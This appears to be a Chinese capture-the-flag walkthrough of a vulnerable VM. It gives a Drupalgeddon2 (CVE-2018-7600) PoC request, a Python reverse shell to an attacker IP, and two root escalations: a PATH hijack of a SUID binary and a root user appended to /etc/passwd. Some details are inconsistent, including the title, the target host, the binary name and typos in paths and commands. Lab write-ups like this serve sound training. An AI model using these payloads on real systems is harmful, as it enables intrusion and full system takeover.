Billu b0x靶机
信息收集
主机信息收集
主机ip
nmap -sn 192.168.241.1/24
主机开放端口
nmap --min-rate 10000 -r -p- 192.168.241.168
主机开放端口详细版本
sudo nmap -sT -sV -O -p22,80,111,8080,60947 192.168.241.168
nmap 漏洞扫描
http-enum:
| /rss.xml: RSS or Atom feed
| /robots.txt: Robots file
| /: Drupal version 8
| /README.txt: Interesting, a readme.
|_ /contact/: Potentially interesting folder
111/tcp open rpcbind
8080/tcp open http-proxy
| http-enum:
| /manager/html/upload: Apache Tomcat (401 Unauthorized)
|_ /manager/html: Apache Tomcat (401 Unauthorized)
nmap 漏洞扫描结果 只发现了几个枚举信息,并没有可以直接利用得漏洞,
web 信息收集
80端口
访问80端口发现这个网站底部有个Powered by Drupal ,判断网站使用 Drupal CMS框架 ,看看能不能找到版本,是否可通过版本作为突破
查看http://192.168.241.168/ 源代码 发现网站使用Drupal CMS框架 的版本8 ,
我们知道在Drupal CMS框架 的安装路径上会显示版本信息,果不其然 ,是存在的Drupal CMS框架 的版本为8.3.5
在kali 上 searchsploit 漏洞库搜索一下,Drupal CMS有没有可利用的漏洞
查看这个脚本发现利用的CVE-2018-7600代码执行漏洞,注入点路径如下:
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
抓包访问
http://192.168.241.157/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
复制如下poc 到 请求包中 修改靶机地址即可
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 118.193.36.37:19617
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
获取系统初始立足点
利用代码执行查看是否安装python
写入反弹python shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.241.140",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
攻击机监听:
nc -lvvp 4444
提权
信息收集
查看当前用户能够执行的特权命令
sud -l 需要密码,我们现在没有密码 暂时放弃
查看计划任务
计划任务暂时没发现什么东西
查看suid二进制文件
suid文件中惊喜发现/opt/s 这个是什么东西 ,
通过字符串工具查看发现里面有一条特殊的命令scp
提权一
: /ops/s 是带s位的,以root权限执行,那么我们尝试定义一个假的scp
-------------编辑代码-----------
cd /tmp
---脚本------service.c-------
#include <stdio.h>
#include <stdlib.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash -p ");
}
-------编译-------------------
gcc -o service service.c
--------修改环境变量。以当前路径优先执行----------
export PATH=/tmp:$PATH
--------执行代码-------
执行ops/s
补充;
整体提权原理: 通过发现/opt/s拥有SUID权限,则其运行时进程并不属于发起者,而是文件所有者,这里是root。strings查看二进制发现s以root运行了scp这个命令,但是没有指定具体的文件路径,因此可以伪造一个假的scp并添加到环境变量,让s去以root运行/tmp中的假的scp,而假的scp中又写入了我们写的/bin/bash,相当于直接运行了sudo /bin/bash
提权二
发现/etc/passwd拥有777权限,尝试添加一个最高权限的admin用户,直接切过去即可
openssl passwd -1 -salt admin 123456
$1$admin$LClYcRe.ee8dQwgrFc5nz.
在/etc/passwd最后追加一行用户信息
admins:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:root:/root:/bin/bash
直接su admin输入密码123456即可提权成功